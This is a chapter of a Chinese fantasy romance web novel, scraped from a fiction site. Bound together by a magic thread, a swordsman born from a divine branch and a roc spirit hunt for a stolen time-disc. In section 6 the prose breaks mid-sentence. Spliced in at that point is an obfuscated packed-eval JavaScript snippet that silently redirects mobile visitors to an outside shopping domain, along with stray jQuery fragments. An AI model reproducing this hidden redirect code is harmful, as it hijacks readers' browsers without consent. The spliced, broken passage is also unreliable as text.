文趣网 > 都市小说 > 银河系漂流故事 > 3. 第 3 章
    1.

    乔一枝醒来时捱过一阵宿醉的头痛,他坐起来想要伸个懒腰,感觉到右手似乎被什么东西牵住了。

    青年环视了一下这间陌生的屋子,看见坐在屋子中央喝茶的司南青。随着眼睛适应晨间光线,乔一枝看见自己的手腕上绑着青色细线,另一端连接到司南青的手上。

    司南青并不看他,手上的线却绷直收短,乔一枝就被带到了桌前。除了茶,桌上还有一笼小笼包和一碗粥,乔一枝也不客气,拿起筷子吃了起来。

    清晨悦耳的鸟鸣阵阵,房间内弥漫着小笼包的香气。

    司南青看着吃得正香的青年,冷声道:“你没有话和我说吗?”

    乔一枝嘴巴里塞着包子,抬眸看他,想了想,勾起个笑容,含糊不清地说:“早上好。”

    司南青:……

    2.

    “我们目的不同,各凭本事罢了,怎么好像我欠你的一样?”

    双手被绑在一起,脚腕也和床柱捆上了,乔一枝现在完全被司南青囚禁在了床上。他抬起头看着床边逆光而面色阴沉的司南青,表情非常无辜。

    “各凭本事?凭你骗人的本事?”司南青逼近乔一枝,青年下意识后退,背后撞上墙。

    “那彭姲到底和你是什么关系?让你不惜捅自己一刀也要救她?”司南青继续问。他可能真的气极了,原本青色双眸染上郁色,紧紧锁着乔一枝。

    “没有关系,我收钱办事救她而已。捅得又不深,演的。”乔一枝边说边在脑子里飞速思索脱身办法。

    但是这句话说完,司南青身上的气焰明显消下去一大截。他闭了下眼,退开时已经恢复了冷静,只是面色依然不太好看。

    “你知不知道时辰盘失窃会有什么后果?”

    乔一枝摇摇头。

    “它可以窃取时间,扰乱因果生死,甚至可能使得人间大乱。”

    乔一枝皱了下鼻子:“这么严重你还让它丢了?”

    司南青:“……”

    青年装模作样地叹了口气:“看在我俩相识一场的面子上,我可以帮你找回来,报酬也可以给你打个折。”

    “……你已经骗过我一次了。”

    “我都被你绑住了,还能怎么样?”

    司南青垂下眸:“再给你一次机会。”

    “那可以把我解开了吗?就像刚刚那样和你绑一起就行。”剑客举起自己被绑着的双手,直勾勾地看着司南青。

    司南青脑子里浮现出劈开月色轻取异兽首级的乔一枝,也浮现出骗人之后得意一笑的乔一枝。他像柄肆意乘风的剑,此时却困于床帏之间。

    司南青眼底有些发热,他沉声说:“再绑一会。”

    3.

    “杀人救人,偷物取物,找我就对了。”乔一枝终于获得了自由,对司南青自信笑道。

    “嗯?”司南青挑眉看他,“青翼蝶并无追踪功能,你现在如何再找到彭姲?”

    “人活一世,被欲望驱使,她既有如此执念,不为钱财就是为情爱。时间,青春,容颜,大抵是为了爱,我们只要找到她爱恋的对象,自然能引她出来。”乔一枝老神在在地说。

    司南青勾起唇角,他看向年轻剑客:“你今年多大?”

    “嗯?十九。”

    司南青轻笑一声:“十九便参透欲望红尘,读懂情爱了么?”

    “司先生年岁几何?”乔一枝收敛了笑容,抱臂看他。

    “百岁有余。”

    “读懂情爱了么?”乔一枝看着他的眼睛。

    司南青心头一颤,移开目光。

    乔一枝笑起来:“和年岁有什么关系,蜉蝣只活一日就尝尽一生,旋龟能活千年却终日沉睡海底,或许寿命越短看得越清楚呢。”

    他转身向前走去了,手上的细线拉动着司南青,他被迫抬脚跟上。剑客走路从不回头,把光抛在身后。

    4.

    乔一枝第一站来到郊外花圃。青翼蝶从他的衣袖里飞出,落在蔷薇丛中,如倦鸟归林。花圃的主人是戴着蓝色头巾的少女,她大声嚷嚷着“小青都给你养瘦了”从花丛里钻了出来。林子里的鸟儿们纷纷飞出,环绕在乔一枝和司南青上空。

    “花小姐,向你打听一个人。”乔一枝道。

    “老规矩。”花小姐向乔一枝伸出手,“先给钱。”

    乔一枝转头看向司南青,司南青看了他一眼,递给花小姐钱袋。

    花小姐掂量掂量,打开一看,笑道:“你现在接活还带着监工?”

    司南青冷声道:“他的信誉太差。”

    花小姐挑眉看向乔一枝,乔一枝极快地冲她眨了下眼睛。花小姐露出了然的笑容。

    消息指向南方水城。两人转身准备离开,空中盘旋的鸟儿发出阵阵鸣叫,隐隐有俯首称臣之势。

    花小姐听见两人的声音随着远去渐渐模糊。

    “百鸟朝凤,你又不是凤凰。”

    “弱者向强者称臣,何须分凤和鹏?”

    “海里的鱼遇见你也会这样吗?”

    ……

    5.

    第二站来到水城。书生徐子实考取功名,衣锦还乡,却抛弃许下承诺的彭家小姐,迎娶更加美貌年轻的林家小姐。

    “爱情的故事大抵都是这么俗套,不是求不得,就是爱别离。”乔一枝躺在扁舟之上,单手枕在脑后,嘴巴里叼着一根刚刚随手折的草根,望着湛蓝的天空评价道。

    阴影遮挡白云,司南青的银发落在乔一枝颊边:“那么爱情大师有没有找到徐子实的方法?”

    “这太简单了……”小舟穿梭在城市水路之间,乔一枝嗅到街边酒家传来的浓郁酒香,他动了动鼻子,“在此之前,不如先来一杯好酒。”

    司南青皱起眉:“你的伤还没好,就喝酒?”

    乔一枝坐起来,目光灼灼地盯着司南青看:“酒治百病。”

    司南青不为所动。

    于是他便眼睁睁地看着乔一枝的木剑上绽开一朵小花,又迅速地枯黄凋谢,花瓣飘散在水面上。他愣了一下,还未开口,就又凋谢了一朵花。

    司南青转过身去:“停船。”

    6.

    酒鬼剑客喝到了酒,心情颇好,只是半壶酒下肚走路就摇摇晃晃了,司南青握住他的手腕,把人固定住:“乔一枝。”

    乔一枝有些疑惑地看他:“嗯?”

    “我们找个地方休息。”

    乔一枝抬头看看正午的阳光:“现在时间还很早。”

    “你像是随时都能倒下睡着。”司南青看着他有点迷糊还逞强的样子,惊觉他比自己想象得要有耐心得多,“酒醒了我们再出来。”

    乔一枝垂下眼帘:“我没醉。”

    “你已经……”

    “你不相信我。”乔一枝打断他。

    “我……”

    “我虽然骗了你一次,”乔一枝打了个小小的酒嗝,“但是我不会再骗你第二次了。”他抬眼看着司南青,眼神湿漉漉的,“我没醉。”

    “我信你。”司南青觉得自己心尖也有点湿漉漉的,他脱口而出,顿了半晌又重复道,“……我信你。”

    “真的?”乔一枝像是支撑不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820740|211138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    住倒在司南青的肩头,他压低了声音,嗓音混着酒香醇意,钻进司南青的耳朵里。

    司南青喉头滚动一下,下意识揽住乔一枝的腰,来不及思考:“……嗯。”

    “那我们去找徐子实吧,很简单。”乔一枝站起来,指向官府的位置,“去那。”

    7.

    白色鹏鸟落下的阴影笼罩住了整座官府。

    乔一枝靠在不远处的一棵树旁,抬头去看司南青。实际上他看不到鹏鸟的全貌,它太大了,连太阳在它身边都如尘蚁。

    县官跪在官府外,听从司南青的吩咐去查徐子实的住处。没一会,司南青便恢复人形向乔一枝走来。

    司南青上一次来到人间已经是几十年前的事情了,那次也并未和人打过交道,他并不知凡人对他抱有什么样的态度,实际上他也不关心。如果不是时辰盘失窃,他根本不会与凡人有过深的接触。

    随着司南青走近,他们手上的细线越收越紧。乔一枝问他:“从空中看这里是什么感觉?”

    司南青想了一下,没有感觉,如人看尘埃。

    没等到司南青的回答乔一枝也不意外,他转身要走,却被司南青喊住。他们明明被绑在一起,司南青却对他说:“手给我。”

    乔一枝伸出手去,顷刻间,天地倒错,风声呼啸,他已经身处云端。

    鹏鸟展翅翱翔在无边无际的蓝天上,乔一枝稳稳地落座其上,他看见人、房屋、山川、河流和海洋。各式各样的人情风貌从他眼前闪过,他好像穿越了时间,不同时空里发生的爱恨情仇同时在他眼前铺陈开来。

    8.

    乔一枝诞生于断枝之中。

    神木椿木已经在人间消失了许多年,不知从何而来的一节断枝顺着河流漂到天柱村。起初是孩子捡到了,把它当玩具,后来大人们发现此木坚硬胜铁,视为神木。再后来,乔一枝从中苏醒。

    没人想得到断枝还有生命,还能开花,还能化形。草木化妖本应历时最久,需要百年的时间去吸收天地灵气,然而可能是神木本身就灵气充裕,乔一枝才得以出现。

    天柱村地处天地交界之处,承天柱的脚下,祖祖代代以看守修补承天柱为生。乔一枝没有父母,天柱村里每个人都是他的父母,他吃百家饭长大,从不曾意识到自己有什么与众不同之处。直到十岁那年,和朋友去郊外玩耍时迷路,遇上异兽,情急之下乔一枝挥舞从小不离身的木棍,竟轻易地杀死了异兽。

    那时他才被告知,这根不起眼的木棍是神木断枝,而他是断枝化灵。

    一根断枝能存活多久,十年尚有生命已经是奇迹,哪怕它是神木的一部分,但只要是木头,没有根,总有一天会完全枯萎死去。

    大椿以八千年为春,八千年为秋,几十年的光阴不过是树叶落地的一声叹息。而对于刚来到这个世界上十九年的乔一枝来说,却是已经看得见终点的航线。

    花开花落,没有人比乔一枝更了解生命是如何一点一点流逝的。他将断枝打磨成剑,腰间别上一壶酒,自此不问缘由,只有一个原则,收了报酬,完成许诺。

    他曾为白银万两杀上古异兽,为一曲幽歌护送逃亡的歌女,也为一壶酒传送相隔千里的爱意。

    他想多看一看别人的人生。

    9.

    落回原地,司南青能感受到通过相连的细线传来的激烈脉搏,一下一下,鲜活得让他的心脏也不禁失了节奏地跳动起来,直至两人趋于一致。

    好像都是第一次体验万丈高空,第一次尝尽世间百态。

    司南青听见乔一枝轻声说:“谢谢。”